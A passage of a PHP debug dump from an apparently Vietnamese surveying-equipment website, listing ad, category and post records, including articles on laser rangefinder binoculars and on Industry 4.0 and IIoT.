(int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Sự thật toán học (Theo Sổ tay Thích Học Toán)' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 